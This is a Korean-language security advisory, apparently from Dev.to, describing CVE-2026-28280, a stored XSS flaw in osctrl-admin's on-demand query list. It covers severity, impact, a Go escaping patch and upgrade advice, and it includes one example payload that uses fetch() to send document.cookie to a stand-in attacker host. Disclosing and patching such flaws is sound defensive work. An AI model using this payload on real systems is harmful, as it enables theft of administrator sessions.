CVE-2026-28280: osctrl-admin 온디맨드 쿼리 리스트에서 저장된 교차 사이트 스크립팅 (XSS)
Source: Dev.to
취약점 개요
- 취약점 ID: CVE-2026-28280
- CWE ID: CWE‑79 (웹 페이지 생성 중 입력값 부적절 중화)
- CVSS v3.1 기본 점수: 6.1 (중간)
- EPSS 점수: 0.00023
- 공개일: 2026‑02‑28
- 공격 벡터: 네트워크
osctrl 버전 0.5.0 이전의 osctrl‑admin 구성 요소에 저장형 교차 사이트 스크립팅(XSS) 취약점이 존재합니다. 낮은 수준의 query 권한을 가진 인증 사용자는 온‑디맨드 쿼리 인터페이스를 통해 악성 JavaScript를 삽입할 수 있습니다. 이 페이로드는 백엔드 데이터베이스에 저장된 뒤 관리 대시보드에서 적절한 컨텍스트 인식 인코딩 없이 렌더링됩니다. 관리자가 쿼리 히스토리를 볼 때 스크립트가 실행되어 세션 탈취 또는 권한 상승이 발생할 수 있습니다.
영향을 받는 버전
- osctrl‑admin: HTML 태그 또는 기타 실행 가능한 JavaScript 페이로드 삽입이 가능함.
악성 페이로드 예시
fetch('https://attacker.example.com/steal?c='+document.cookie)
쿼리로 저장하면 페이로드가 그대로 보관되고, 나중에 관리자의 브라우저에서 쿼리 목록을 볼 때 실행됩니다.
소스 코드에서의 완화 조치
패치는 쿼리 표시를 위한 컨텍스트 인식 출력 인코딩을 도입합니다. 변경된 부분의 간략한 예시:
// Before (vulnerable)
fmt.Fprintf(w, "%s", query.Text)
// After (patched)
escaped := html.EscapeString(query.Text) // proper HTML escaping
fmt.Fprintf(w, "%s", escaped)
영향
- 기밀성: 높음 – 공격자가 세션 쿠키나 기타 민감 데이터를 탈취할 수 있음.
- 무결성: 높음 – 공격자가 관리자 인터페이스를 조작하거나 추가 악성 콘텐츠를 삽입할 수 있음.
- 가용성: 낮음 – 이 취약점은 서비스 가동 시간에 직접적인 영향을 주지 않음.
악용 가능성
- 악용 상태: 개념 증명(PoC) 존재.
- 낮은 권한의 인증 사용자가 추가 권한 없이도 취약점을 트리거할 수 있음.
해결 방안
- 업그레이드: osctrl v0.5.0 이상으로 업데이트.
- 최신 Docker 이미지 또는 osctrl v0.5.0 바이너리를 받아
osctrl-admin서비스를 재배포. - HTML 태그(예:
**test**)가 포함된 쿼리를 저장해 보며, 태그가 문자 그대로 표시되고 HTML로 해석되지 않는지 확인하여 패치 적용 여부를 검증.
추가 보강 권고사항
- 모든 사용자 입력 데이터에 입력 검증을 적용.
- HTML 컨텍스트에서 렌더링되는 모든 데이터에 출력 인코딩을 강제.
- 최소 권한 원칙을 따르고,
query권한을 실제로 필요로 하는 사용자에게만 제한.
참고 자료
- GitHub Advisory: GHSA‑4rv8‑5cmm‑2r22
- NVD Entry: 취약점 상세 및 분석 (NVD 링크)
- Vendor Advisory: (벤더 권고 링크)
- CVE‑2026‑28280 전체 보고서 (벤더 웹사이트에서 제공)